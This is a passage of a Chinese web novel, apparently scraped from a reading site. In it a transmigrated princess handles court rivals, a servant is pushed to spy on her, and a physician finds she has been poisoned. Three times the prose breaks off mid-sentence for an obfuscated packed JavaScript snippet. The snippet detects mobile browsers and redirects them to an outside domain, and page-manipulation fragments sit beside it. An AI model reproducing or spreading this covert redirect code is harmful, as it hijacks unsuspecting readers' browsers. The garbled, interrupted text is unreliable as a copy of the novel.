她们面容各异,眼底却藏着如出一辙的审视与打量,似是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489355|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将扶盈从里到外看个分明。 “听闻帝姬此前玉体违和,实在令我等忧心。” 一位面容和煦的女子,上前施礼道:“今见殿下气色莹润,想必已无恙,谨贺殿下安康。” 另一人随即轻笑,执纨扇掩唇:“帝姬福泽深厚,逢凶化吉不止,如今更得赐良缘,即将与安国皇子联姻缔好,实在是一桩大喜。” “恭祝殿下琴瑟永谐!” “愿两国盟好,百年长春!” 一时间,道贺声此起彼伏,场面看似和谐融洽,实则却暗流隐现。 扶盈嘴角噙着三分笑,眼底凝着七分霜。她岂会不知,这番恭维与祝贺的背后,藏了多少揣测与心思。 眼前诸人,真心关切者寥寥,幸灾乐祸冷眼旁观者恐怕倒有不少。 可既身居皇室之位,她便清楚,于这锦绣罗网中从容周旋,是她避不开的功课。 檐角铜铃忽作清鸣,未待扶盈坐定,一声毫不掩饰的嗤笑自身后响起。 “诸位说这些,倒像是专程来给五姐添堵的?”六皇女扶善施施然而至,吊梢眼微挑,语带讥诮。 “宁都城谁不知道,五姐心里装的从来只有宋小侯爷?只可惜呵……” 她故意顿住,声调拖得绵长,染上几分虚假的惋叹。 “终究是落花有意,流水无情。这桩婚事,五姐怕是比吃了黄连还苦。你们这般贺喜,莫不是要往伤口撒盐?” 话音方落,满堂寂然。 世家贵女们或掩袖垂首,或偷眼窥探,再无人敢出声。众所周知,这对天家姐妹势同水火。 六殿下这番仗义执言,表面像是替姐姐抱不平,实则语带机锋,字字藏针,无非是要帝姬当众难堪。 “六妹此言差矣。”扶盈声色依旧平稳。 “天家婚事,从来上承天命,下安社稷。我乃母皇亲封的帝姬,自当恪守圣意,以国体为重。” “倒是六妹今日句句不离宋氏,可是忘了我虞国的律法?” 她忽而抬眸轻笑:“啊,是了。妄议圣裁者,当……杖二十?” “扶!盈!” 扶善面色倏地一沉,厉声道:“丢尽我皇室颜面的人是你!” 她原以为只要提及宋连蘅,便能轻易激得扶盈失态,岂料反被对方抓住了话柄。 “堂堂帝姬为个男人寻死,坠马闹得满城风雨!该不会……演的是一出苦肉计?如今倒好,你偷鸡不成蚀把米,当真把给脑子摔坏了!” “六妹,你又多心了。” 扶盈指尖轻抬,徐徐抚平袖间一道并不存在的褶皱。 眼下人多,正是澄清与宋连蘅过往纠葛的良机,也省得日后徒增口舌是非。 “少时确与宋小侯爷有过几分情谊,不过……两国联姻,所系乃家国天下。” 她音量不高不低,恰到好处传进了众人耳里。 “六妹虽年纪尚轻,这道理总该懂得。” “你装模作样!” 扶善恍若被火燎了尾巴的猫,顺手抓起案头茶盏便向扶盈泼去。 “满朝文武谁人不知,那安国皇子根本是个痨病鬼!待到洞房花烛夜,你可仔细些,别叫他咳血染红了你的鸳鸯枕!” 扶盈从容接过身旁递来的绢帕,缓缓拭去手背上的茶渍。 “若有闲情逸致操心我的事,不如多温习几遍《坤舆九章》。” 六皇女扶善生性贪玩好乐、不学无术,平日里最忌讳旁人提及功课之事。 去年岁评时,她将“国士无双”写成“国士无又”的墨迹,至今仍挂在紫山堂惩戒室的正中央。 “小女以为帝姬所言极是。”此时,那面容和煦的女子再度开口,打破沉默。 “我朝与安国联姻,实乃两国之幸,百姓之福。我等愿竭力拥护帝姬!” 众人纷纷随之附和:“我等愿竭力拥护帝姬!” 扶善脸色一阵青白,终是冷哼一声:“扶盈,你别太得意!我们走着瞧!” 言罢,她拂袖转身,悻悻而去。廊下雀鸟被脚步声惊起,扑棱着翅膀掠向晴空。 10. 探视 “帝姬,还请留步。” 散学后,扶盈正欲登车回府,一道清和而坚定的女声自后方响起。 这声音她并不陌生,正是今日学堂之中,两度在扶善与她针锋相对时仗义维护的那位女子。 先是她遭扶善泼茶后悄然递来绢帕,后又率先表态支持,于众目睽睽之下站在她这一边。 扶盈转身,见那女子静立几步之外,面庞儒雅,眉眼间自有书卷清气。见她第一眼,扶盈便觉有些面善,只是一时未能想起何处见过。 “小女闻筝,家母乃现任礼部掌事。”兰闻筝微微欠身,姿态谦敬,声如春风,“见过殿下。” 她这一自报家门,扶盈顿时恍然。 原来,对方是兰秋白的姐姐,难怪方才瞧着眼熟。不过二人并无交情,想来她之所以出言相助,多少也是看在了兰秋白的面子上。 “兰娘子不必多礼,今日之事,本殿该谢你才是。” 兰闻筝闻言,脸上浮起一抹清浅笑意:“殿下言重了。能为您稍尽绵力,是小女之幸。” “不知可否容小女……借一步说话?” 扶盈望入她清澈沉静的眼眸,那里头确有几分兰秋白的影子,倒令人无端生出几分信任与好奇。 “兰娘子既有话要说,本殿自当静听。”她点了点头,向兰闻筝示意,邀其一同进入车内。 兰闻筝微微一怔,似未料到扶盈应得如此干脆,眼中掠过一丝欣喜,随即敛袖躬身,恭请扶盈先入车内。 扶盈于主位落座,执起小几上的茶壶,手腕轻转,涓涓茶汤注入兰闻筝面前的盏中。 “殿下,这……实在不合礼数。”兰闻筝受宠若惊,连忙推辞,“岂有让殿下为小女斟茶之理?” 扶盈含笑将茶盏推近:“兰娘子今日援手之情,本殿以茶相谢,不必推辞。” “殿下厚意,小女愧不敢当。”兰闻筝双手接过茶盏,“实不相瞒,小女今日冒昧请见,是有一事相求。” 扶盈侧首看她:“但说无妨。” “家弟秋白得蒙殿下青眼,入府侍奉,实乃兰家之幸。只是……” 她语声微顿,似有难言之隐:“阿弟自幼由叔爹抚养,而今叔爹病体沉疴,恐时日无多,此生最后所念,唯见阿弟一面。” “小女斗胆,恳请殿下准许阿弟归家探视,以慰叔爹思切之苦。” 虞国子嗣只分长幼,皆认母亲正夫为嫡父,然实际抚养之人可由母亲指定,称为养父。若养父失职或触怒家主,子父人选亦可随时更易。 兰家的情况,扶盈略知一二。 兰秋白是个男儿身,本就不受家族重视。兰闻筝为长女,其养父自是母亲正夫。 而兰秋白的养父,则连个侧室都算不上,昔日不过是正夫身边一名伺候洗脚的侍儿,虽曾得一时怜惜,终究昙花一现。 “闻筝放心,孝义为人伦之本,本殿岂有不允之理。” 扶盈沉吟片刻:“小白素日尽心妥帖,如今,他爹爹病重,自当前去探视。本殿这就命人安排,让小白明日即可归家。” 兰闻筝以茶代酒,当即举盏齐眉:“殿下仁心,兰家上下感激不尽!” …… 兰府偏院,阳光透过斑驳的窗棂,漏进简陋的卧房之中,带来一丝微弱的暖意。 屋内光线昏沉,空气中萦绕着药味与陈旧熏香交织的气息。 一张窄小的雕花木床紧贴冷墙,兰罗氏躺于榻上,面容枯槁,身上覆着一床洗得发白的薄被,边缘处的磨损无声诉说着多年的清寒。 “秋儿,是阿爹没用,没能好好照顾你。” “阿爹,莫要如此说。”兰秋白紧握那双布满茧子的手,眼底盈满痛楚,“孩儿久未归家,不知您病得这般重……是孩儿不孝。” “你有这份心,阿爹就知足了。” 罗氏眼眶泛红,颤声问道:“秋儿,你瘦了这么多……跟阿爹说实话,那位昭妧帝姬……待你到底如何?” 兰秋白神色微黯,旋即勉强一笑:“阿爹您放心,殿下待我尚可,孩儿在那里一切都好。只是……时常想念阿爹。” 他语声轻缓,强忍住几欲坠下的泪水。 罗氏又怎会看不出他的强颜欢笑。 他深知,这孩子从小到大何曾有过舒心日子?念及此,他满心愧疚自责,怪自己出身低微,没本事留住妻主的心,连给秋儿寻门靠谱亲事都做不到。 如今,眼见秋儿这般无名无分地委身于人,他如何能安心阖眼? 世间女子大多薄幸,更何况是权势煊赫的皇女,待新鲜劲儿一过,只怕终究落得弃如敝履。到那时,他的秋儿又该如何自处? 一想到这,罗氏胸口剧烈起伏,猛地咳喘起来。 兰秋白急忙起身,行至桌边倒了一杯温水,回到床侧小心将罗氏扶起,缓缓喂他饮下。 罗氏目光无意间落于兰秋白卷起衣袖的小臂上,几道疤痕赫然入目。 他心口骤然一刺:“秋儿,这伤……是怎么来的?阿爹虽长居深院,可也听过那些关于帝姬的传言……莫非是她……” 兰秋白轻轻摇头,强扯出一抹宽慰的笑:“阿爹别多想,真的无碍。这些旧伤早已好了,如今一点也不疼了。” 他顿了顿,语气转柔:“殿下她……从前或许性子急些,但现在真的不同了。她尤其喜欢我做的雪蛤羹,每次都能用好些呢。” 罗氏静静听着,眼中忧色未褪,却终是未再追问。 他心下明了,兰秋白自幼坚韧且懂事,从不轻易言苦,只盼着自己这副病弱的身子,不要成为男儿的负累。 沉默片刻,罗氏忽然拉住兰秋白的手:“秋儿,你既已入了帝姬府中,有些话……阿爹不得不嘱咐你。” “天家女子见惯繁华,寻常殷勤未必能入眼。你须得细心体察她的喜好,知冷暖,懂进退。” 他喘了口气,继续道:“莫学阿爹当年,只会一味怯懦守礼,终落得个形单影只。你要让殿下看见你的好,却也不可过于急切。” “需知,润物无声,方能长久。” “孩儿谨记阿爹教诲。” 兰秋白认真点头,将罗氏的手贴在脸颊:“您现在最要紧的,便是安心静养。待您身子好些,我们便去寺中进香,求菩萨保佑我们爹俩平安。” 罗氏眼底泛起一丝欣慰,终是阖目沉沉睡去。兰秋白静坐榻边相伴,直至兰闻筝身边的侍儿叩响了门扉。 “打扰少郎了,是娘子吩咐小的来请您前往园中一叙。” 兰秋白跟上那侍儿的步伐,二人沿着小径,穿过月洞门,来到府邸后园一处僻静的凉亭。 “阿弟来了,快请坐。你我姐弟许久未见,不必如此生分。” 兰闻筝早已端坐亭中,见兰秋白缓步而来,唇边浮起笑意,起身相迎。兰秋白却微微侧身,不着痕迹地避开了她的触碰。 他只垂眸而立:“阿姐若有吩咐,直言便是,弟自当聆听。” 兰闻筝笑意稍滞,旋即又回暖如春:“阿弟,姐姐知道,你心里对母亲与我……始终存着怨气。” 她轻叹一声:“可你当真错怪了我们。” “那时送你入帝姬府,实乃二殿下亲授之意。母亲身在朝堂,兰家满门荣辱皆系于一线,我等……别无选择。” “好一个别无选择。”兰秋白抬眼看她,眸中水光氤氲,却强忍着未落。 “母亲与阿姐抉择之时,可曾有一瞬问过我的意愿?可曾想过我在那帝姬府中日夜惊惶如履薄冰,又是如何熬过来的?” “阿弟,你当姐姐心里就好过么?然而成大事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489356|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,岂能拘于私情?” 兰闻筝欲拍他手臂,再次被他避开,只得柔声劝道:“你此刻的位置,看似是委屈,实则乃关键之处的棋子,牵一发而动全身。” “如今,二殿下需要我们,兰家亦需要二殿下的倚重。阿弟,你的忍辱负重,是在为兰家铺就直上青云的路。” “待二殿下正位太女,他日继承大统,你便是兰家首功之臣。届时,姐姐与母亲定风风光光接你回府,许你一世尊荣。” “够了!”兰秋白猛地后退一步,泪水终是夺眶而出。 “我在帝姬府是生是死,你们从未真心过问!什么首功之臣,什么一世尊荣?阿姐,这些话,你自己可信?” “阿弟……” 兰闻筝目光倏地一冷,声音压低几分:“即便你不为兰家将来考量,也该多想想叔爹……他体弱多病,这些年为你操碎了心。” “莫非,还要他再因你之事,突添忧患,甚至晚年不得安宁?” 兰秋白浑身一颤,纵有万千心酸与愤懑堵在心口,却终究咽了回去。是啊,阿姐说得对。 在这偌大的兰家,他真正拥有且真心待他的,唯有病榻上的叔爹一人。他不能任性,不能不孝,绝不能连累叔爹再因他受苦。 可是,他亦不愿做出任何对帝姬不利之事,哪怕一丝一毫。 曾经的殿下暴戾无常,稍有不顺心便鞭笞责罚下人。那时,他与柳松松受尽折磨,整个府邸都笼罩在恐惧之中。 然而,他方才跟叔爹所言并非虚言,帝姬如今真的有所改变了,这些大家皆看在眼里。他不敢奢求恩宠,只觉若能像这样陪伴她身侧平静度日,似乎已是命运额外的馈赠。 此刻,扶盈那如画的眉眼、昳丽的笑颜忽地在他脑海中浮现,清晰而生动,仿佛在眼前。 “阿姐,我只问你一句。”兰秋白深吸口气,抬眸直视兰闻筝,“帝姬坠马,当真与二皇女有关?” “阿弟,有些事知道太多,对你并无益处。” 兰闻筝轻笑:“说起来,还得多谢阿弟你先前出力。” “正因如此,二殿下之计方得顺利推进。只是未曾料到,这帝姬倒命硬得很,那样凶险的局面都没能结果了她。” 兰秋白心里一咯噔,突然之间如坠冰窟。他……究竟做了什么? 难道仅仅是因为那条,被帝姬爱不释手的血珀手钏…… 他强压下翻涌的心绪,声音竭力维持平稳:“阿姐莫忧,事关重大须从长计议,切不可贸然行事。” 幸好帝姬无恙,幸好她无恙。这念头不受控制地浮起,带来一丝近乎恕罪的慰藉。 “帝姬此番轻易允你回府,倒叫我意外。往后,你须得多留心她的一举一动,定要事无巨细。” 兰闻筝冷笑:“二殿下筹谋深远,一次失手又何妨?总还有下次,我们静待时机便是。” 兰秋白睫羽轻颤,垂眸避开她的注视:“阿姐,时辰不早,我离府已久,恐惹帝姬生疑,该回去了。” “阿弟,且慢。” 兰闻筝忽又唤住他:“你先前曾说,帝姬对那宋连蘅用情至深,待你视若不见……此话可当真?” 兰秋白脚步一顿:“阿姐为何突然问起这个?” 兰闻筝不答,只向前一步,伸手执起他纤细的皓腕。 一枚绣工精致的青缎香包落入他掌心,不过方寸大小,以同色丝绦系口,缀着细如米粒的玉珠。 其香清幽,似兰非兰,细嗅之下隐隐透出一缕令人心悸的缠绵气息,如情丝绕指,渐欲沉沦。 “莫要小瞧此物,缀于内衫襟口或系于罗帐深处,其香渐染衣鬓,日久不绝。” 兰闻筝唇角浮起一丝深意:“只需朝夕相伴……时日稍长,帝姬自会对你心生痴迷,再难自拔。” 11. 义诊 自穿越以来,时日已悄然流过不少。 扶盈终日忙于扮演好帝姬的角色,不仅要前往紫山堂修习课业,还需处理诸多繁杂事务。 直至稍稍得闲,她才蓦然惊觉,近来许久未曾与宋连芜联络。更不寻常的是,对方也未曾主动相约。 莫非真生了她的气?按说应当不至于。 宋连芜的性子她再清楚不过,爽朗豁达,心思澄澈,是原主记忆中少数能称得上真心相待的友人。 思及上次分别时的不欢而散,扶盈心底不由生出几分歉疚。 她自认素来情绪平稳,极少与人争执。虽不赞同宋连芜那般自作主张的安排,可理智上也明白对方并无恶意,为此动怒实属不该。 然而那一刻,大脑却好似被某种无形之力牵引,心绪骤然失控,竟未能压住陡然窜起的火气。 说来也是邪了门儿。 扶盈思前想后,打算买份礼物到侯府走一遭。此事她确有处置不当之处,主动赔个不是也算应当。 打定主意说动就动,安全起见,她依旧唤上了辰砂随行出门。 阳光斜洒,街市之中人声鼎沸,热闹非凡。道路两旁店铺林立,叫卖声此起彼伏,各种摊位看得人眼花缭乱。 所以……到底该送什么礼物才好? 宋连芜那家伙好色是人尽皆知的事,倘若真送个活生生的美男子过去,未免太过招摇,传出去对自己名声也不好。 虽然她在这儿的形象早就崩得差不多了。 “主子,属下有个想法。” 见扶盈绞尽脑汁,辰砂适时提议:“宋少将军是武将,平时剑不离身,您不如赠予她一条剑穗?” “对啊!我怎么就没想到!”扶盈眼睛一亮,激动得一把抱住对方,“辰砂,你真是我的小机灵鬼!” 辰砂被这突如其来的举动吓了一跳,身体明显僵了一下,但凭借良好的职业素养,很快又恢复了镇定。 面对扶盈的夸奖,她不好意思地抿嘴笑了笑:“主子过奖了,能帮到您就好。” 二人一前一后,径直去往宁都最负盛名的「缀玉坊」。 刚迈过门槛,一阵清越的铃音伴着淡雅沉香迎面而来。店内布置典雅,各式玉器陈列有致,流转着温润光泽。 店主是位年约半百的妇人,面容慈和却目光如炬,手中一把算盘,更显精明干练。多年经营让她早已练就识人辨物的本事,只需一眼,便知来客非寻常人家。 “欢迎贵客光临缀玉坊。” 她笑盈盈迎上前,带着恰到好处的热络:“小店玉器皆为上品,娘子是想选来赠友,还是自用赏玩?” 扶盈浅浅一笑:“久闻缀玉坊大名,不知可有适合搭配剑器的雅物?” “娘子这可问对地方了!”店主忙引她走向一侧楠木格架。 “这几款剑穗都是近日才到的珍品,有祥云纹、螭龙扣,还有青玉嵌珠的……您细看这做工,这水色,绝对衬得起您要送的人。” 她一边说,一边小心取出几条最为精致的剑穗,轻轻排在锦缎上,供扶盈细细挑选。 扶盈目光逐一掠过,最终定格在一抹青金色的流光之上。 那剑穗以青金石珠串为主体,颗颗润泽匀整,深邃的蓝中可见金砂般的星点。在光线的映照下,底部玄玉隐现墨色纹路,如云如雾,气韵暗藏。 青金石自古便被视为镇邪安魂之宝,而玄玉更是稀有难得。二者相合,沉稳中见贵重,恰配宋连芜云骧将军的身份。 “就它了。”扶盈满意地点点头,转向身侧道,“辰砂,结账。” “娘子真是好眼光!”店主笑容愈发热切,“您如此爽快,便给个吉利数,九十两银子,您看可好?” 辰砂自荷包中取出银两,利落地拍在了柜台上。店主见状,赶忙将剑穗精心包裹好,恭敬递上。 “多谢掌柜。”扶盈含笑接过,“缀玉坊果然名不虚传。” 店主一路送至门边,连声道:“娘子慢走,日后若有需要,定要再光临小店!” 路上,扶盈忍不住打开锦盒,再次端详起那条剑穗。其上流苏轻摇,色泽温润,编织工艺极为精巧。 这么个小物件,竟价值九十两银子,若换算回现代,怕是抵得上数万元。 这就是所谓霸总式消费的乐趣吗? 这份豪气使她决定,今日定要好好放纵一番,顺便逛一逛这繁华的宁都城,沉浸式体验花钱不眨眼的快感。 于是,她又悉心挑选了两枚缠枝莲纹小锁。那银光在锁面上流转闪烁,图案生动逼真,据说经高僧开光,寓意福泽绵长。 扶盈虽不太信这些玄虚之说,但想着能为身边人讨个吉祥顺遂的好彩头,心里也是暖洋洋的。 辰砂与星罗,一个是贴身护卫,一个是一等侍女,皆自幼陪伴原主长大。除宋连芜外,她们便是自己最可托付之人。 尤其辰砂,虽平日沉默少言,却心思细腻。今日能买到这般称心的剑穗,还多亏了她。 “主子,这……属下万万不敢当!”辰砂瞳孔微缩,怔怔地望着那枚递到眼前的银锁,“属下无功无禄,怎配受此厚礼?” 正当二人说话间,一阵喧哗声自街口传来,人群熙攘涌动,议论纷纷,似有什么热闹之事发生。 混乱中,有个行人匆匆擦过,险些撞落扶盈手中的银锁。幸好辰砂眼疾手快,将那枚小锁牢牢护在了掌心。 “哎呀,辰砂,还推辞什么?”扶盈故作不悦,轻声嗔怪道,“这可是我的一片心意呢,你若再不收,我真的要生气了。” 辰砂呼吸微滞,喉间轻动,终是郑重接过银锁,如同承接什么易碎的珍宝般小心收进怀中。 “属下……谢主子赏赐!”她屈身行礼,“主子所赐,不仅是平安符,更是信重之恩。辰砂必日夜佩戴,绝不辜负。” 扶盈笑着拍拍她的肩:“好啦,不必如此严肃。你平安喜乐,便是再好不过。” 言罢,她随手拦下一个路过百姓,好奇询问道:“这位大姐,前面是出了什么事?大家怎么都朝一个方向去?” 大姐一脸焦急又兴奋,停下脚步,喘了口气道:“你们还不知道啊?” “每逢初一十五,司命大人都会在仙方医馆开设义诊!那可是专为圣上调理身子的神医,咱们寻常百姓平日哪有机会得她一看?” “大家都说司命是活神仙转世哩!我也是赶着去排队,晚了只怕连门边都摸不着喽!” “原来如此,多谢大姐告知,就不耽误您了。”扶盈微笑致谢。 司命在虞国地位超然,作为御前炙手可热的重臣,即便是她们几个皇女,见面亦需礼敬三分。 据说,这温司命乃得道天师唯一的入室传人,不仅精通天文星象、卜筮地理,更能于虚空万象中窥见因果轮回,尤有一手可起死回生的绝世医术。 令扶盈未想到的是,对方身居如此高位,竟还愿在公务之余抽出时间,为贫苦百姓诊病施药。 这般仁心济世的胸怀,着实令人敬佩。 本着凑热闹的心态,扶盈当即拽上辰砂,一头扎进了涌动的人流里。看诊倒是其次,主要想见识下这温司命,到底像不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489357|185780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家传得这般神乎其神。 刚到仙方医馆门前,只见队伍早已排成了长龙,那场面简直堪比顶流明星的粉丝见面会。 扶盈一回头,才发现不知什么时候,她和辰砂被人群冲散了。 “司命大人真是华佗再世!”一个男子正兴奋地分享着,眼里写满崇拜,“我娘多年缠绵不愈的腿疾,经她一看,如今走路都带风呢!” “可不嘛!”旁边另一人点头接话,“司命不仅医术高超,更难能可贵的是她心怀仁善,不管贫富贵贱皆一视同仁!” 还有人忍不住插嘴:“听说司命至今还未娶夫呢,这要是谁有福气进了她家的门,简直是祖上积德!” 好家伙,扶盈一听就乐了,合着这看病只是个幌子,敢情不少小迷弟根本就是来追星的呗? 她吃瓜的兴致顿时更高了。 说来也巧,当年实习天天挤地铁通勤,没想到那段时间练就的技能,在这古代竟也有了用武之地。 医馆内,一根细丝线系在一位布衣男子的腕间。 案几另一端,那袭素白身影静坐如蝉。她微微侧身时,左耳的一尾金鲤垂落肩头。 鱼身麟纹灿若碎阳,鱼目处则嵌了星点银芒。尾端流苏迤逦而下,金银丝线交织,每一摇曳都似搅动一池浮光。 片刻,温霁缓声开口:“此脉沉细而弱,尤以尺脉为甚,乃肾气亏虚,精元不充之象。肾为先天之本,主生殖发育,肾气不足,则难以使女子受胎成孕。” 一旁的农妇早已按捺不住,扯着嗓门道:“司命大人,您可得好好给他看看!” “俺娶他进门都三年了,我这肚子可一点动静没有!要是再怀不上女儿,俺就只能休夫再娶了!” 那男子闻言身形一颤,头垂得更低,手指绞着衣角。 温霁笔下如行云流水,一方药笺顷刻写就。而后轻吹墨迹,将药方递出:“此方重在温肾填精、调和气血,每日一剂,不可间断。” 她稍作停顿,声音清润如玉:“子嗣之事虽系于男子精元是否旺盛,然女子胞宫是否温暖、气血是否充盈,亦是关键。” “更何况生育本是二人之事,须得同心协力、彼此体恤。若只因一时无女便言休弃,岂不寒了人心?” 农妇似有所悟,讪讪点头,那男子则悄悄抬眼,目中泛起一丝感激。二人连声道谢后,相携离去。 扶盈的视线一直追随着温霁。 身处以女性为尊的国度,医学发展似乎也顺应着社会结构,在妇科、产后调护及儿科领域,尤为精深完备。 温霁诊病,条理井然,讲解通透,不仅深谙男子调养以利子嗣之道,言辞间更显对女子妊娠全程的周详洞察,且提及数种行之有效的产后复元之术。 这般系统化的知识体系,竟隐隐透出几分不逊于现代医学的严谨与成熟,将她对古代“重巫祝而轻实证”的固有印象,彻底颠覆。 “娘子?” 直到对方出声询问,扶盈才猛地回过神来,惊觉竟已轮到了自己。她虽不为问诊而来,但众目睽睽之下,总不好拂了司命的面子。 “啊……” 她上前坐下,灵机一动道:“我其实并无大碍,只是近来偶感乏力,精神有些不济。想必是琐事繁忙所致,休息几日应当就好了。” 她心里有些纳闷,温霁贵为司命,自是见过不少皇室中人,对于她这身份尊贵的皇女,却并未表现出丝毫认识的样子。 难道是从前与原主鲜少接触,所以印象不深? “无妨,我便为娘子诊一诊脉,图个安心也好。” 12. 罗刹 温霁指尖轻轻搭上那根横亘于两人之间的红丝线。 借此机会,扶盈也正好近距离细细打量起对方。 眼前人满头银发如雪,却丝毫不见老态,身姿清隽若竹,侧脸轮廓深邃分明,飘然出尘的气质好似谪仙下凡。 尤为引人注目的是,她双眼覆着一条约两指宽的素白眼纱,轻软地绕过挺直鼻梁,于脑后系成一个优雅的结。 扶盈顿生疑惑,这司命大人难不成目不能视? 可她方才分明看见,温霁提笔书写药方时行云流水浑洒自如,俨然不像失明之人所能为。 那因何做这样一副打扮? 扶盈差点要笑出声来,总不会是为了装十三吧?她不由伸出另一只手,试探地在温霁眼前晃了晃。 与此同时,温霁指尖微顿,循着丝线寸寸推移。 “紫藤喜攀高墙,依老柏而生,花开时绚烂夺目铺天盖地。” 她声线依旧温润,话中却似别有深意。 “可惜根基阴湿,易招白蚁蛀蚀。若只贪恋其花叶繁盛之表,看似绵延不绝,实则内里根茎早已腐坏。” 扶盈杏眸微眯。 原来温霁认出了自己,却偏这般故弄玄虚。更甚的是,竟还指桑骂槐,暗讽她金玉其外败絮其中? “好个悬壶济世的温司命啊。”她轻嗤一声,“这般舌灿莲花,怎不去翰林院修书立传?” 她自认并非什么大能之士,不过一介穿越而来的普通人,可若论嘴上不饶人,任凭对方是何身份,她也从不愿输阵。 温敛并未接她话茬,只微微侧首,用仅有两人可闻的声音低语。 “帝姬,您中毒了。” “中毒?”这没头没尾的话让扶盈一怔,“从何说起?”看对方神情凝肃,并不像信口开河。 温霁未作声,屏息凝神间,指腹隔着丝线细细感受脉搏。 “殿下可曾见过寒潭游鱼?”她冷不丁开口。 “司命此言何意?” “隆冬时节,冰封水面,鱼群蛰伏潭底,看似平静无波。”温霁唇角极淡地一扬,“然若有人凿冰破口,可见其下暗流汹涌,鱼惊四窜。” “殿下之脉,正类于此。” “此毒日渐侵蚀心神,长久以往,会令人性情日趋暴戾,多疑易怒,神思难聚。若受外因激扰,更易幻视幻听,终至心智溃散,再难挽回。” 扶盈心底蓦地漫开一片寒意。 本以为,原主不过是自幼被纵容太过,养成了乖张的性子。如今看来,背后竟有这毒物在推波助澜。 所以那日坠马,不仅是酒意醺然,不仅是情感受挫。而是在最脆弱的瞬间,三者共同作用,环环相扣导致的必然结果。 好精妙的局。 即便当时侥幸逃过一劫,一个暴戾无常的皇女,他日被人稍加刺激,难保不会又步入另一处陷阱。 下毒者只需静待,总有千万种法子,让原主合情合理地消失。 既非一朝一夕之毒,太医院那帮老家伙,个个都是人精,当真毫无所觉?是有人刻意遮掩,还是集体选择了明哲保身? 这潭水,比想象的要深得多。 “司命怕是诊错了。” 扶盈勾唇,腕间丝线不由绷紧:“前些时日许太医才至府中请过脉,只说略感风寒,并未提及任何中毒之象。” 温霁忽然指下收力,丝线应声而弛。她并未立刻收回手,反而就着方才诊脉的姿态。 “殿下脉象,浮取如滚珠走盘,滑利躁动;沉取似寒潭坠石,滞涩阴冷。 一浮一沉,动静相悖,非寻常邪病所致,更非风寒表症可解。” 言罢,她从袖中取出一根不足寸长的玉色细针。那针剔透如冰髓,尾端缀着一粒极小的银珠。 “请殿下容臣一试。” 温霁指尖轻拈玉针,隔空于扶盈腕上寸许之处缓缓掠过,而非真正触及皮肤。 奇妙的是,那根玉针竟渐渐泛出一层若有似无的灰翳,针尾银珠也随之轻微嗡鸣。 “此针乃臣师门秘传,对潜藏神髓之毒尤为敏感。”她收回玉针,其上灰翳久久不散。 “这毒唤作「玉髓烬」,性极阴匿,遇水则化,遇火生蓝焰,其毒理并非作用于气血脏腑。寻常望闻问切,难窥其踪。 然其毒性侵扰心神之象,已显于殿下脉息神魂之间,瞒不过这探幽之法。” 她的目光似无意般扫过扶盈,虽覆着眼纱,却仿佛能洞察一切。 扶盈忽而低笑,眸中战意灼灼。 事情倒是愈发有趣了,甚好,这场无声的较量正合她意,恰恰燃起了她的斗志和胜负欲。 如此天长日久不着痕迹地下毒,绝非外人所能为,但无论是谁,她定会将其连根拔起,让其无所遁形。 扶盈竭力回溯日常点滴,试图找出蛛丝马迹,这时,被孩童一声脆生生的惊呼打断。 “是罗刹帝姬!阿爹快走!她要来抓小孩吃了!” 飘着药香的空气霎时凝固,馆内陷入一片死寂。 “浑说什么!”一个挎着菜篮的中年男子,猛地把孩子往身后扯,竹篮里新采的芥菜撒了满地。 “真是那位……”方才还咳得厉害的老妪哆嗦着欲言又止。 温霁案头的《千金方》被穿堂风掀得哗哗作响,扶盈听见檐下的窃语声。 “前年大雪夜,帝姬府后门运出去几十个草席裹的……都是十五六的少男郎!” “西街布庄掌柜不过送错两匹云锦,第二日……眼珠子就泡在酒里送回来了!” 此起彼伏的抽气声中,偏有个垂髫小儿从爹爹指缝里偷望出来,稚声道:“帝姬真好看,像画上的仙子娘娘。” “作孽哟!”那父亲反手捂住孩子的眼,踉跄着闪躲时绊到了晒药的竹匾,“仙子会生啖人肉?会拿马蹄踏碎乞儿腿骨?!” 恐慌如瘟疫蔓延,不知是谁先退了一步。 百姓们纷纷转身,推挤间湘帘乱撞,仿佛春日柳絮都沾上了这罗刹的煞气。 扶盈嘴角几不可察地轻抽了一下。 这些添油加醋后的细节,说得有鼻子有眼,倒比记忆中存在的暴行还可怖三分。 真相与谣传,早就被搅成了一池浑水。 而原主手上沾染的血与泪,桩桩件件,亦是她无法辩驳的事实。她如今占据了这个身子,所有罪孽便也成了她必须背负的债。 她唇瓣轻启,又缓缓抿紧。 这些百姓眼神中,所藏的不光是恐惧,更有积年累月而根深蒂固的偏见与恨意,是原主亲手种下的苦果。 